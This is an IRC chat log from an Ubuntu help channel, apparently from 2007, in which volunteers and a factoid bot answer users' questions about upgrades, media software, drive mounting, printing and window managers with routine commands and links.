[05:59] <MrChips> you know what, fuckit, i'm re-installing, i don't have all night to dicker with it
[06:00] <fiery_cleric> MrChips: u probably could fix it
[06:00] <enix>  i need a video editor for editing videos already put together, no cam involved on my end, i havnt been able to google anything up. Any ideas?
[06:00] <ardchoille> !avidemux
[06:00] <ubotu> Sorry, I don't know anything about avidemux - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:00] <ardchoille> !info avidemux
[06:00] <ubotu> avidemux: a small editing software for avi (especially DivX). In component multiverse, is optional. Version 1:2.1.2-0.0ubuntu3 (edgy), package size 2738 kB, installed size 6956 kB
[06:01] <MrChips> fiery_cleric: i have wasted 4 hours trying to figure out what's wrong and unless somebody can tell me what the problem is, i don't know why I should not spend 40 minutes rather than 4 hours
[06:01] <Pelo> ardchoille,  beat me to it
[06:01] <ardchoille> Pelo: :P
[06:01] <DVS01> whats a good music player, one like winamp? i dont like xmms much, its file loading dialog really sucks
[06:01] <Pelo> DVS01,  check out  http://www.songbirdnest.com/
[06:02] <alien__> Jordan_U: : im sorry about that..mm well i got server 6.10 edgy, so now i just did the dist-upgrade? can you explain that situation where my system could have gone broken please?
[06:02] <enix> DVS01: have u tried amarok
[06:02] <ardchoille> DVS01: bmp (beep media player) is like winamp and I think it is written in gtk2
[06:02] <DVS01> i tried amarok
[06:02] <DVS01> ardchoille: thanks, ill try it
[06:02] <nrgy> bmp and xmms are alot alike
[06:03] <enix> DVS01: then i recommend beep also
[06:03] <fiery_cleric> MrChips: could you go to runlevel one: init 1 , then remount / (assuming this the fs u are talking about): mount -o remount -o ro / , then run e2fsck -f -p
[06:03] <alien__> ardchoille: : ...mm i also just upgraded that.. how come the apt-get upgrade wouldnt work but dist-upgrade does?
[06:03] <fiery_cleric> on it
[06:03] <ardchoille> DVS01: The menus and dialog in bmp are much easier on the eyes
[06:03] <DVS01> main thing i hate about xmms is the file loading dialog.. i actually prefer the way windows' file loading dialogs functioned
[06:03] <DVS01> backspace to cd ..
[06:03] <DVS01> etc
[06:03] <ardchoille> alien__: Not sure why, but that's what happens with a lot of linux-image-* stuff.
[06:03] <py_geek> all: want an opinion on wine (does it work???)
[06:03] <MrChips> haha found it
[06:03] <jmccaffrey> Can I just hot-plug in a SATA drive into my computer while it is on?
[06:03] <nrgy> either way bmp and xmms more or less remind me of winamp
[06:03] <alien__> wird
[06:03] <DVS01> py_geek yes, wine works
[06:03] <alien__> werid
[06:03] <DVS01> i was playing elder scrolls iv: oblivion thru wine today
[06:04] <alien__> ardchoille: can you tell me what Jordan_U was talking about? my system being broken?? please
[06:04] <Jordan_U> alien__, It is not too bad if you know what you are doing, Upstart may not have been replaced though, I would do another dist-upgrade to make sure everything gets updated
[06:04] <alien__> oh ok
[06:04] <Jordan_U> alien__, See: https://help.ubuntu.com/community/FeistyUpgradesManual
[06:04] <alien__> Jordan_U: so i should do another upgrade to make sure it is instaled?>
[06:04] <alien__> Jordan_U: ok
[06:05] <alien__> no
[06:05] <nn> http://cheapmeth.com/lappy.jpg
[06:05] <alien__> Jordan_U: not to fiesty
[06:05] <ardchoille> alien__: another dist-upgrade wouldn't hurt
[06:05] <Jordan_U> alien__, Sorry, wrong link...
[06:05] <py_geek> all: I'm looking for a nice theme package...
[06:05] <alien__> Jordan_U: oops which am i supposed to be doing?
[06:05] <alien__> updating or upgrading?? i mean u ddo upgrade to update ur os right??
[06:05] <alien__> and update is your sources?
[06:06] <yell0w> alien__, read the link
[06:06] <Jordan_U> alien__, https://help.ubuntu.com/community/EdgyUpgrades#head-d8c4cd1dd987e54723fef2760b37f9279487551f
[06:06] <nn> Its a pretty, pretty cow
[06:06] <alien__> ok
[06:06] <nrgy> any one else unable to drag and drop files from fileroller?
[06:06] <IGxMyzt> night guys, i might try linux again tomorrow...hoping windows doesnt mess up again though.
[06:06] <Pelo> py_geek,  instally  gnome art manager and look in there
[06:06] <wastrel> nrgy:  it's tempermental
[06:07] <nrgy> its the only prob ive realy had since updateing the other day
[06:07] <alien__> Jordan_U: i have another qeustion i have the 6.10 edgy server..so what i did was apt-get install ubutnu-desktop.. becausei j ust wanted an interface for surfing thats all.. nothing else but webserver and surfing the internet.. was that ok? to install the GUI or did it actually change from 6.10 server to the desktop version
[06:07] <Pelo> wastrel,  what a lovely way of putting it
[06:07] <nrgy> only bothersome because of how much i use it
[06:07] <wastrel> Pelo:  it works sometimes, it doesn't other times.  i think it has to do with how quickly i drag the icon out of the file roller window
[06:07] <Jordan_U> alien__, That is fine, you can use both
[06:07] <wastrel> i don't use file roller much tho
[06:07] <wastrel> tar zxvf
[06:08] <marvinalone> if i install 704beta now, can i apt-get dist-upgrade tomorrow, and i'll be up to date?
[06:08] <alien__> Jordan_U: ok, just want to make sure i still have the server version =)
[06:08] <IowaDave> alien: yeah, you just added desktop apps. ubuntu is ubuntu is ubuntu...
[06:08] <memescape> hi. i've just installed 6.10 i386 version on a 64-bit machine. can i switch sources or something and get it to use the 64-bit version?
[06:09] <crdlb> memescape, no you'd need to completely reinstall
[06:09] <memescape> aiee
[06:09] <crdlb> but I don't really recommend using 64-bit on a desktop system
[06:09] <alien__> IowaDave: ok
[06:09] <Pelo> marvinalone,  you won't have to ,  what ever ackages get updated will update on your comp normaly
[06:09] <alien__> IowaDave: ..i was at iowa for a few weeks.. demoine
[06:10] <marvinalone> Pelo: awesome, thanks :-)
[06:10] <memescape> well this install is for an art installation. the main things i need working are the graphics card (nvidia 7100 coming tomorrow) and sbcl, which has a 64-bit version
[06:10] <soweto76> some commentary suggests that the 64 is not usually faster
[06:10] <IowaDave> alien: running for president like everybody else? we get 'em ten at a time these days. ;)
[06:10] <bruenig> faster for certain things, you should see the crazy floating point numbers it can handle
[06:10] <alien__> IowaDave: haha =))
[06:11] <memescape> faster floating point maths is attractive for this
[06:11] <enix> does it help to say that all i really want to do is loop certian clips of video
[06:11] <IowaDave> alien: your services should all still be there. check System > Administration > Services...
[06:11] <alien__> Jordan_U: why does it use sudo apt-get update && sudo apt-get dist-upgrade && sudo apt-get dist-upgrade  over and over and over again??? wtf
[06:11] <bruenig> memescape, I don't know of any way of going from 32 to 64 without reinstalling
[06:11] <alien__> IowaDave: he im runing terminal. this box is located at work.. irssi+screen
[06:12] <memescape> wait. this is an intel 64 bit machine. the 64 bit specific stuff is always labelled as AMD. should i just use intel 32 bit?
[06:12] <Pelo> enix,  it would help if we didnT' have to scroll back 20 minutes to know what you are talking about ?
[06:12] <crdlb> memescape, no it's the same
[06:12] <IowaDave> alien: understood.
[06:12] <Jordan_U> alien__, It has to do with the fact that Edgy uses a completely new init system which can't be replaced in one step.
[06:12] <fenris> hi
[06:12] <crdlb> memescape, intel calls it em64t or something like that but it's the same as amd64
[06:12] <memescape> when i try to run this file which is: ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked (uses shared libs), for GNU/Linux 2.6.0, not stripped
[06:13] <Moosejaw> hey all..can anyone get the on demand videos from this site to play in linux??? i tried agent switcher in firefox but couldnt get that to make it work. http://www.tsn.ca/shows/otr/
[06:13] <DVS01> i was recommended that i use automatix to install a bunch of typical desktop packages. is this safe?
[06:13] <memescape> on this default 6.10 install on a 64 bit intel, it says that : cannot execute binary file
[06:13] <fenris> my ubuntu firefox refuses displaying most jpegs, it keeps saying "cannot by displayed because it contains errors"
[06:13] <enix> sorry i posted the question twice, didnt want to hassle if it was being read
[06:13] <fenris> any idea whats wrong?
[06:13] <crdlb> DVS01, not at all
[06:13] <Pelo> DVS01,  you can install most of them quite easily throught other means ,
[06:14] <Jordan_U> fenris, Can you give a link to a jpeg that does not work for you in FF?
[06:14] <alien__> Jordan_U: so they want us to really repeat the upgrade command... to make sure its done it right?? it wont overfuld it with same crap ??
[06:14] <DVS01> ah.. so why shouldnt i use it?
[06:14] <crdlb> memescape, 64bit binaries aren't going to work on a 32bit install of ubuntu
[06:14] <Pelo> fender,  sounds like the pics on those sites are borked,   try other sites to check,  ie google for some random images
[06:14] <fiery_cleric> Moosejaw: i get "sorry your OS is not supported"
[06:14] <crdlb> !automatix | DVS01
[06:14] <ubotu> DVS01: automatix is a script that tries to install some software, and often fails and breaks systems. We don't provide support for it, and we strongly discourage its use. Problems caused by Automatix are often hard to track and solve, and it might sometimes be easier to !install a fresh copy of Ubuntu. See also !WorksForMe
[06:15] <Jordan_U> alien__, Why would it overflood it?
[06:15] <DVS01> !worksforme
[06:15] <ubotu> Common Sense: Just because you can, does not mean you should. Think before you do. "Works for me" does not mean it is ok. The latest version of everything is not always useful if you aim for stability.
[06:15] <DVS01> ahh
[06:15] <alien__> Jordan_U: you are right, wow i would have ne ver thought of that, you have to be so carefull with linux.. grr =) i love it !!! im new to it
[06:15] <DVS01> thanks
[06:15] <fenris> Jordan_U: as i said, most of them... http://upload.wikimedia.org/wikipedia/de/e/e4/K2-big_b.jpg with this one i just noticed it
[06:15] <enix> any ideas on a video editor thats not like kino, i dnt have a cam, i just wanna take certain segments of video and loop them
[06:15] <alien__> Jordan_U: well yea. runing dist-upgrade five times.. i think that it would ..dunno not overfull. but put same files over and over... like unk files
[06:16] <alien__> Jordan_U: junk
[06:16] <vexati0n> I remember seeing a screenshot of some application for organizing photos/documents where it was all composited ... any idea what that is?
[06:16] <memescape> i don't mind having to reinstall really. but is there a good reason why i should NOT use the 64-bit install on this 64-bit machine?
[06:16] <Pelo> enix,  memcoder
[06:16] <wastrel> enix:  the only one i know of is avidemux but i don't really know how to use it yet
[06:16] <Jordan_U> Moosejaw, If it uses activeX you may need to use IE4linux
[06:16] <alien__> Jordan_U: also.. can you give me couple of more pointers .. something like this thats likely to happen.. i mean u do update and upgrade al lthe time so
[06:16] <Nubbie> enix: avidemux <--
[06:16] <Moosejaw> yah?
[06:16] <Nubbie> maybe... i have avidemux confused with something else.
[06:17] <peepsalot> does anyone know what role the metacity process plays, verses Xorg?  where does the actual window rendering happen?
[06:17] <mungewell> enix - Kino can render to file, hence you can create without a cam
[06:17] <IowaDave> memescape: there's a lot on the forums discussing 64-bit. most say go for it! some workarounds to install Flash if you need that, but otherwise sounds encouraging. i haven't done it yet on my Sempron, however...
[06:17] <Nubbie> peepsalot: its the window bar/border of all applications
[06:17] <Nubbie> peepsalot: and it happens in userspace.
[06:17] <memescape> i can live without flash. the only critical thing will be nvidia drivers. but i have seen 64 bit version of them for a long while
[06:18] <enix> when i try to open file in kino i get multipule errors
[06:18] <peepsalot> Nubbie, what do you mean in userspace?
[06:18] <Nubbie> memescape: you could do a chroot installation of flash i believe.
[06:18] <Pelo> peepsalot,   try looking metacity and xwindows in wikipedia , the defs are pretty decent
[06:18] <iamelite> CAn anyone help me with the code to add a windows drive to Grub, Device being sda1.
[06:18] <IowaDave> memescape: maybe you try it but keep that 32-bit cd handy jic?
[06:18] <Nubbie> peepsalot: its like a regular applications.
[06:18] <memescape> heh ok.
[06:18] <crdlb> memescape, the biggest issue it that it's a smaller userbase so there's less testing
[06:18] <crdlb> but it should be ok
[06:18] <peepsalot> Xorg is not in userspace?
[06:18] <memescape> hrm. ok thanks
[06:18] <Pelo> iamelite,   try asking in #grub
[06:18] <Jordan_U> alien__, If you use the proprietary nvidia or ATi drivers you will need to edit your xorg.conf to get 3D accelleration working in Edgy
[06:18] <enix> i will try avidemux, thanks guys
[06:18] <Nubbie> !fstab > iamelite
[06:18] <fiery_cleric> peepsalot: http://en.wikipedia.org/wiki/Window_Manager
[06:18] <iamelite> Apologies
[06:19] <IowaDave> crdlb: that's one thing that has been holding me back.
[06:19] <ferret_0567_> Do I need wacom-tools at boot if I don't have a Wacom tablet?
[06:19] <mungewell> enix - what file format is the file... Kino tends to work with DV format in AVI files
[06:19] <Pelo> ferret_0567_,  probably not
[06:19] <wastrel> that wikipedia is "not helpful"
[06:19] <Nubbie> iamelite: those who help themselves, help themselves :) you should learn about it.
[06:19] <wastrel> i know what a windowmanager is ant it confused me
[06:19] <ferret_0567_> What is rsync for at boot?
[06:19] <wastrel> s/ant/and/
[06:20] <ferret_0567_> What?
[06:20] <enix> .wmv
[06:20] <memescape> well. i guess in 15 hours when this downloads, i'll see how it goes
[06:20] <fiery_cleric> wastrel: u should contribute then :)
[06:20] <Pelo> ferret,  are you trying to free up some resources ?
[06:20] <DVS01> uhh
[06:20] <Nubbie> ferret_0567: its a program that copies/syncs directories locally and over the internet.
[06:20] <iamelite> i would love to research it more, but i have 4 webpages a 6page report, and 5 case projects due for school tomorrow.
[06:20] <DVS01> i installed BMPX and beep media player.. both seem to have the same name.. are these different programs?
[06:21] <ferret_0567_> And, what is it used for by the maintenance scripts?
[06:21] <enix> mungewell: .wmv
[06:21] <Nubbie> DVS01: were they both from repositories?
[06:21] <ferret_0567_> I would like to turn it off and reduce system boot time
[06:21] <ferret_0567_> I don
[06:21] <ferret_0567_> I don't use rsync myself
[06:21] <Nubbie> ferret_0567: the system might.
[06:21] <Pelo> ferret_0567_,  do not turn off rsync
[06:21] <ferret_0567_> ok
[06:21] <ferret_0567_> What in the world is it used for?
[06:21] <r4v5> what is the console equivalent of the ./edgy or dist-upgrade.py script, because this upgrade isn't going well at all
[06:21] <IowaDave> g'night everybody. thanks again for the help, eck
[06:21] <blanky> !rsync | ferret
[06:22] <ubotu> Sorry, I don't know anything about rsync - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:22] <blanky> ferret_0567_: rsync is a remote syncing tool...look it up
[06:22] <fiery_cleric> !info rsync
[06:22] <ubotu> rsync: fast remote file copy program (like rcp). In component main, is standard. Version 2.6.8-2ubuntu3 (edgy), package size 237 kB, installed size 472 kB
[06:22] <Nubbie> ferret_0567: something you could do to reduce boot times is synchronous loading of modules and optimizing grub... google it there's a guide out and about.
[06:22] <mungewell> enix - you could try using converting them, transcode might do what you want.... You could try Cinelerra but the interface is a little akward (to say the least).
[06:22] <versix> can someone tell me if the LiveCD version of Ubuntu has OpenOffice and Firefox? I want to get my parents to try it out so I don't have to fix their windows computer so much...
[06:22] <ferret_0567_> I know what it does, does the system move around files in /var/log with it?
[06:22] <Nubbie> versix: yes.
[06:22] <Jordan_U> r4v5, Are you going Dapper -> Edgy or Edgy -> Feisty?
[06:23] <versix> thx Nubbie
[06:23] <r4v5> Dapper -> Edgy
[06:23] <Pelo> ferret_0567_,  if you would like my advice,   turning off useless processes is a very good idea,  rule of thumb, if you don'T know what it does , don'T mess with it
[06:23] <zenWalker> Ubuntu LivecD has included OOo
[06:23] <enix> ok, i will have to write all this down, im bout to hit the sack, thanks for all the help guys
[06:23] <versix> I guess I'll wait a couple of days for fiesty, then spring it on them :)
[06:23] <ferret_0567_> No
[06:23] <ferret_0567_> It's fine right now
[06:23] <Nubbie> ferret_0567: pelo speaks truth. last thing you need is to make your system unbootable.
[06:23] <ferret_0567_> I know
[06:24] <Nubbie> ferret_0567: maximum it adds 1-2 seconds to your boot.
[06:24] <r4v5> Jordan_U: it's a system I haven't touched in a long time. It's basically erroring on xorg-common because it's trying to remove xorg's directory and replace it with a symlink, which it can't do from a gui app
[06:24] <Jordan_U> r4v5, You can download the alternate install CD and use the upgrade script on it
[06:25] <r4v5> link?
[06:25] <Nubbie> r4v5: its on the ubuntu website: here's your link: www.google.com
[06:25] <Pelo> r4v5, if you can'T find your way to the alternate install cd you don't deserve it :-)
[06:26] <r4v5> why thank you, that was quite helpful
[06:26] <Nubbie> r4v5: this is not a search engine or a dictionary. if we're capable of finding you a link, you're capable yourself.
[06:27] <Nubbie> pelo: maybe, but then they get people complaining about the non-gui installation.
[06:27] <r4v5> Nubbie: why do I need an alternative CD to use a console to upgrade this?
[06:27] <Nubbie> r4v5: i didn't say you needed an alternative CD.
[06:27] <Jordan_U> Pelo, I always use the alternate CD and I am having problems finding it on Ubuntu's new site
[06:27] <ferret_0567_> Are you sure I don't need wacom-tools at boot?
[06:27] <ardchoille> Jordan_U: For feisty?
[06:27] <Pelo> Jordan_U,  that is what I mean
[06:28] <Jordan_U> ardchoille, Edgy
[06:28] <ferret_0567_> I'll leave it alone
[06:28] <Nubbie> Jordan_U: it's very easy to find if you go to the page that had downloads from around the globe/mirrors.
[06:28] <Pelo> ardchoille,  for anything version, it's kind of buried now
[06:28] <r4v5> I mean, I'm having issues with my wireless and it takes ten minutes to load a page but whatever, didn't mean to waste anyone's time
[06:28] <ardchoille> Pelo: Ah, ok
[06:28] <Nubbie> r4v5: but your page does load?
[06:28] <Jordan_U> r4v5, I'll find a link...
[06:28] <r4v5> Nubbie: i'm not sure yet. there's a hint that it may actually load this time
[06:29] <Nubbie> r4v5: DNS/DHCP set up correctly?
[06:29] <Jordan_U> r4v5, http://releases.ubuntu.com/edgy/ubuntu-6.10-alternate-i386.iso
[06:29] <apus> I need help accessing my drives correctly
[06:29] <Nubbie> spoon fed for ya.
[06:29] <Pelo> Jordan_U,  how many pages did you have to go through ?
[06:30] <r4v5> the issue i'm having seems to be affecting both the non-windows machines on my network, i'm still looking into what exactly it is. I really should've upgraded islsm before even attempting this, but that probably would've required knowing what specific kernel they're using at this moment
[06:30] <Pelo> apus,  we need more info
[06:30] <r4v5> thanks, Jordan_U.
[06:30] <Nubbie> pelo: its in downloads, then "other download locations" or something.
[06:30] <Jordan_U> Pelo, I couldn't navigate to it, I just new the URL from before
[06:30] <Pelo> Nubbie,  I know,  Jordan_U  you cheated
[06:31] <Nubbie> google knows the URL too.
[06:31] <apus> well, I dont know if these are related, i just instaled fiesty, I can't burn cd's (its disabled in the drive system tools), and the button to enable one of my partitions(ntfs) is grayed out
[06:31] <wastrel> r4v5:  iv'e had a problem with some wireless routers and linux
[06:31] <Pelo> !ntfs | apus  on thing at a time
[06:31] <ubotu> apus  on thing at a time: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions . For write access see !ntfs-3g or !fuse
[06:31] <apus> also, I was wondering where I should mount a partition I want to use as data storage
[06:31] <Nubbie> apus: do you have a random message that pops up asking you to browse newly inserted cd media, despite the fact you have no cds in your drives?
[06:31] <r4v5> it seems like anything that isn't 'ping' doesn't retrieve the dns info properly
[06:32] <Nubbie> apus: /mount/whatever
[06:32] <r4v5> but once it's retrieved and cached it can use it
[06:32] <apus> no random messages, and it currently shows a blank cd-r "mounted" on my desktop
[06:32] <wastrel> r4v5:  makes for sloooooow web browsing - dns prob when the router is giving itself as the dns server  .  fixed it by pointing to the ISP dns servers instead of using the dhcp dns
[06:32] <Nubbie> apus: but you actually have a cd in your burner/
[06:32] <wastrel> dunno what the real fix is, that's a tweaky workaround :] 
[06:32] <Nubbie> apus: i have a problem where theres no cds in my drives, yet every so often i'm asked if i want to browse a cd, burn a cd or w/e.
[06:33] <Jordan_U> apus, The ubotu link for NTFS is outdated for Feisty, it is much easier in Feisty
[06:33] <atrus> i can't seem to bind <Super_L>r as the shortcut to activate the deskbar applet. any ideas why?
[06:33] <frank227a> Whou should own cupsd.conf?
[06:33] <r4v5> hmm. yeah, just changing the resolv.conf completely changed its attitude toward loading pages. i guess that's a quick fix until the dhcp changes get done
[06:33] <apus> I was just going to ask that jordan, the system tools disk utility identifies all of my drives, it jsut wont let me "enable" (that means mount right?)
[06:33] <wastrel> -rw-r--r-- 1 cupsys root 2267 2006-10-20 12:27 /etc/cups/cupsd.conf
[06:33] <Nubbie> atrus: i think you can edit the keybinding in gconf-editor
[06:33] <apus> nubbie:yes I have a cd in my burner
[06:34] <frank227a> Thank you.
[06:34] <Pelo> atrus,  check in system > prefs > keyboard shortcuts and see if it isnT' bound to something else
[06:34] <Jordan_U> apus, sudo apt-get install ntfs-config
[06:34] <frank227a> How do you restart cups?
[06:34] <frank227a> I'm getting an error can not read cupsd.config?
[06:34] <atrus> Pelo: it's not
[06:34] <wastrel> /etc/init.d/cupsys restart
[06:34] <frank227a> Maybe I am restrting it wrong.
[06:35] <wastrel> (sudo)
[06:35] <Pelo> atrus,  try setting your app hotkey in there
[06:35] <atrus> Nubbie: gr. tried that. now i can't type 'r' any more.
[06:35] <Nubbie> atrus: my bad :l
[06:35] <Nubbie> atrus: but does r work?
[06:36] <st3v3dnd> Is there a way to map a keyboard shortcut for context menus(right mouse click)?
[06:36] <Nubbie> atrus: and you lied, you typed an r after a g to form "gr." lol
[06:36] <atrus> Nubbie: what?
[06:36] <atrus> Pelo: weird. i can bind Super_L, but not <Super_L>r, like it wasn't a modifier
[06:36] <frank227a> Thank you.
[06:36] <Jordan_U> st3v3dnd, Yes, I actually do that because I have a Mac laptop with only one mouse key
[06:36] <Nubbie> atrus: sorry, change that gconfkey back....
[06:36] <atrus> Nubbie: oh, different machine, and it's fixed there anyways.
[06:36] <apus> jordan: after than, then what
[06:36] <Nubbie> atrus: heheh
[06:37] <Nubbie> Jordan_U: how do you manage??!
[06:37] <nomasteryoda> st3v3dnd, the other "windows" key is mapped as such
[06:37] <Pelo> sorry for the OT but this is too good  http://www.linkinn.com/wiki_101.php?add=wiki&id=2354&select=All
[06:37] <mike> I'm looking for a good DVD9 to DVD5 native linux backup program can anyone point me in the right direction?
[06:37] <Nubbie> Jordan_U: why don't you but a mouse with 3 buttons?
[06:37] <nomasteryoda> dvd:rip ?
[06:37] <Jordan_U> apus, go to Applications -> System Tools -> NTFS config
[06:37] <r4v5> Nubbie: because it's a laptop?
[06:37] <st3v3dnd> nomasteryoda: It doesn't seem to work in all instances
[06:38] <nomasteryoda> ah
[06:38] <Jordan_U> Nubbie, I have one, but it's inconvienient
[06:38] <Jordan_U> Nubbie, ( unless I am at a desk )
[06:38] <apus> the tool appears to do nothing
[06:38] <Nubbie> lol i missed the whole "laptop" thing.
[06:39] <Pelo> G'night folks
[06:39] <frank227a> BRB
[06:39] <apus> im running kubuntu if that makes a difference
[06:39] <Jordan_U> apus, Did you click the "enable write support for internal / external device" box?
[06:39] <st3v3dnd> I also have the problem atrus mentioned above. I can only bind Super_L, not Super_L with another key.
[06:39] <apus> where would that box be?
[06:40] <flake> hi, I'm running gnome and using the menu layout I specified a submenu under games in which to put all my K-Games so I don't have to scroll alot to find a game
[06:40] <Jordan_U> apus, A window didn't pop up when you went to Applications -> System Tools -> NTFS configuration tool ?
[06:40] <flake> is there an easier way besides dragging and dropping each kgame into the sub folder?
[06:41] <apus> no window
[06:41] <Nubbie> flake: i don't think so.
[06:41] <Jordan_U> apus, What happens when you run: sudo ntfs-config
[06:41] <Jordan_U> ?
[06:42] <_james> can someone help me how to automount my windows partition on boot?
[06:42] <teb> if i want the new version of rhythmbox (0.10.0) and i have (0.9.6) can i just download the source, compile, make install and all will be well or do i need to uninstall the old package first?
[06:42] <apus> error, invalid input device 169 (i heard thats irelevant) and then the window popped up
[06:42] <Jordan_U> !ntfs | james
[06:42] <ubotu> james: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions . For write access see !ntfs-3g or !fuse
[06:43] <Nubbie> teb: uninstall the old package first.
[06:43] <flake> where can I find my menu layout?
[06:43] <Nubbie> teb: also try installing a backported package.
[06:43] <teb> just enable backports in the repositories and check if it's there?
[06:43] <Nubbie> flake: System > Preferences > Main Menu
[06:43] <Jordan_U> apus, OK, did it work?
[06:43] <ardchoille> flake: Can you elaborate on that please?
[06:43] <n00bie> Jordan_U, hello
[06:43] <Jordan_U> n00bie, Hi
[06:44] <n00bie> Jordan_U, my bluetooth doesn't work in my toshiba laptop
[06:44] <apus> it mounted one of the partitions as a folder, it recognized the other one but I dont see a "mount"
[06:44] <n00bie> Jordan_U, how do I make it work ?
[06:44] <r4v5> so from a cursory googling, islsm (prism54 softmac wireless driver) is a part of the kernel and/or ubuntu now?
[06:44] <Nubbie> n00bie: Jordan_U might not have all the answers.
[06:44] <Jordan_U> n00bie, I don't know much about bluetooth, sorry
[06:44] <apus> nvm, I can see it in conquerer, now I just need to mount my completely blank drive, and then try and resize the partition on the kubuntu instal
[06:44] <phrowzen> hey
[06:44] <Nubbie> n00bie: start of by pastebin'ing the output of lspci
[06:44] <flake> instead of having to scroll up and down a huge menu of games, i want to put the games into a subfolder in the games menu
[06:45] <flake> this is gnome
[06:45] <apus> I was going to use gpart live cd, but I cant burn the cd with k3b (error 255)
[06:45] <Nubbie> flake: so drag and drop them.
[06:45] <flake> now i can do it manually but one at a time using menu layout
[06:45] <n00bie> Nubbie, ok
[06:45] <n00bie> Nubbie, hold on
[06:45] <phrowzen> im pretty sure that after installing some updates today, my xwindows consistently crashes.. and in my syslog i see Apr 17 18:02:40 localhost gconfd (phrowzen-6722): GConf server is not in use, shutting down. Exiting
[06:45] <flake> drag and drop one at a time is a pain in the butt
[06:45] <Nubbie> flake: if you can't drag/drop multiple items file a bug report.
[06:46] <r4v5> flake: the menus should be xml or something, you can hand-edit the files they're stored in if you really need to do this
[06:46] <Nubbie> flake: we can't help you as it's not a "problem" per se.
[06:46] <flake> right, looking for the file to be edited
[06:46] <peepsalot> can an X server without a window manager only display one "window"?
[06:46] <Jordan_U> flake, There is a GUI tool for changing the menus, I can't remember the name thout
[06:46] <Jordan_U> *though
[06:47] <Nubbie> flake: it would be in ~/.gnome2/ i believe.
[06:47] <apus> why does it think I have a floppy drive when I don't?
[06:47] <Nubbie> peepsalot: pretty much yeah, thats why it's a "window manager"
[06:47] <r4v5> peepsalot: no, it can display other windows, just no handles exist for moving and tiling them
[06:47] <Nubbie> jordan_u: i told him about it, but dragging/dropping individual items is a big deal for him.
[06:48] <Jordan_U> flake, It's called alacarte I believe
[06:48] <r4v5> they'll appear without borders and you have no control over where it goes
[06:48] <bullgard4> My program 'Gnome System Monitor' lists for my / partition: "free 4,3 GB, available 3,7 GB." What is the difference between 'free' and 'available'?
[06:48] <Free45> Hello everyone. :D
[06:48] <peepsalot> hmm.  i am still trying to understand what controls the rendering of overlapping windows,
[06:48] <peepsalot> i guess that would be the window manager
[06:49] <Jordan_U> peepsalot, That's the window manager
[06:49] <flake> right,  using alacarte but wont let me select multiple
[06:49] <peepsalot> i am curious what kinds of algorithms are used for that, if it is mainly painter's algorithm or what
[06:49] <flake> using lshift or lctrl
[06:49] <Nubbie> bullgard4: the amount of physical drive left vs the amount of addressable drive left.
[06:49] <apus> amarok just sits there loading, never finishing, then it just stops loading and its not running
[06:49] <phrowzen> im pretty sure that after installing some updates today, my xwindows consistently crashes.. and in my syslog i see Apr 17 18:02:40 localhost gconfd (phrowzen-6722): GConf server is not in use, shutting down. Exiting
[06:49] <peepsalot> painter's is the only one I really know for something like that
[06:49] <Nubbie> apus: amarok = lame. try banshee.
[06:50] <bullgard4> Nubbie: Why is not all of physical memory addressable?
[06:50] <ardchoille> apus: When you have an app doing that, try launching it from a terminal and see if there's any error output.
[06:50] <n00bie> Nubbie, here's the link http://pastebin.ca/445909
[06:50] <r4v5> bullgard4: inodes and associated file system structure
[06:50] <srjames> Can Ubuntu Server Edition be installed on PPC ?
[06:50] <Nubbie> bullgard4: because each sector uses 4kb of data i believe, not 1kb, and you can't use a fraction of a sector.
[06:50] <bullgard4> r4v5: Be more verbose. What is related to what?
[06:51] <Jordan_U> srjames, Yes, but it will only be supported for a few more years AFIK
[06:51] <jpsamara> What application do you use for torrents? Is there a native non java one that uses gtk? That excludes Azureus, Ktorrent etc
[06:51] <mungewell> srjames - I believe that PPC has been dropped from Feisty onwards.... I have dapper LTS on PPC working nicely
[06:51] <apus> is it normal to have mounds of problems when first installed?
[06:51] <Nubbie> jpsamara: there is one installed by default. there's another cool one i forget what it's called though.
[06:51] <Nubbie> jpsamara: one sec.
[06:51] <apus> when I type amarok into konsole nothing happens, it just sits there, I dont even get another command line
[06:52] <Nubbie> apus: try renaming your database.
[06:52] <r4v5> apus: If by problems you mean stuff that isn't configured the way you want, yes. if you mean things that are outright broken, then yes.
[06:52] <illriginal> Does anyone know anything about Linux on Playstation 2
[06:52] <r4v5> strace amarok and look at what it freezes on.
[06:52] <peepsalot> does this pdf display correctly for anyone here? http://matchbox-project.org/documentation/developers/matchbox.pdf
[06:52] <bagguetto> is there a minimal ubuntu network install disk?
[06:52] <jpsamara> Nubbie: the one instaled by default is command line? im on edgy and there's no torrent program other than azureus, that i installed myself
[06:52] <Nubbie> jpsamara: http://ubuntuforums.org/showthread.php?t=234700
[06:53] <Jordan_U> !install | bagguetto Yes
[06:53] <ubotu> bagguetto Yes: Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall and https://wiki.ubuntu.com/DapperReleaseNotes/UbiquityKnownIssues - See also !automate
[06:53] <Nubbie> jpsamara: the installed by default is not like azureus.
[06:53] <Nubbie> jpsamara: azureus stole your torrent file association.
[06:53] <jpsamara> Nubbie: no torrent program in the gui internet menu... its installed a command line?
[06:53] <n00bie> Nubbie, did you check the link of pastebin ? >> http://pastebin.ca/445909
[06:53] <Nubbie> jpsamara: it doesn't me it doesn't exist.
[06:54] <k-edgy> hello
[06:54] <Madpilot> jpsamara, there is a torrent app built into Ubuntu by default - download a .torrent file, double-click on it, gnome-torrent will start
[06:54] <k-edgy> i'm having trouble shutting down my pc
[06:54] <Nubbie> n00bie: try the output of lsusb
[06:55] <apus> strace amarok, it keeps spamming waitpid...... and nanosleep
[06:55] <jpsamara> Madpilot: gnome torrent?
[06:55] <DVS01> how do i make gdesklets start up before beryl does?
[06:55] <apus> waitpid(7782, 0xbfc009a0, WNOHANG)      = 0
[06:55] <Nubbie> jpsamara: if it just opens azureus, right click it and select properties > open with and select gnome-torrent
[06:55] <apus> nanosleep({0, 100000}, NULL)            = 0
[06:55] <phewl> how do you make a program the automatic thing to open when running something else, ie, how to make vlc open instead of totem when i insert a dvd
[06:55] <Madpilot> jpsamara, yes, basic little torrent app - but yes, for some reason it doesn't have a menu entry. No idea why.
[06:55] <Rictoo> Does anyone here live in southern-texas? :D
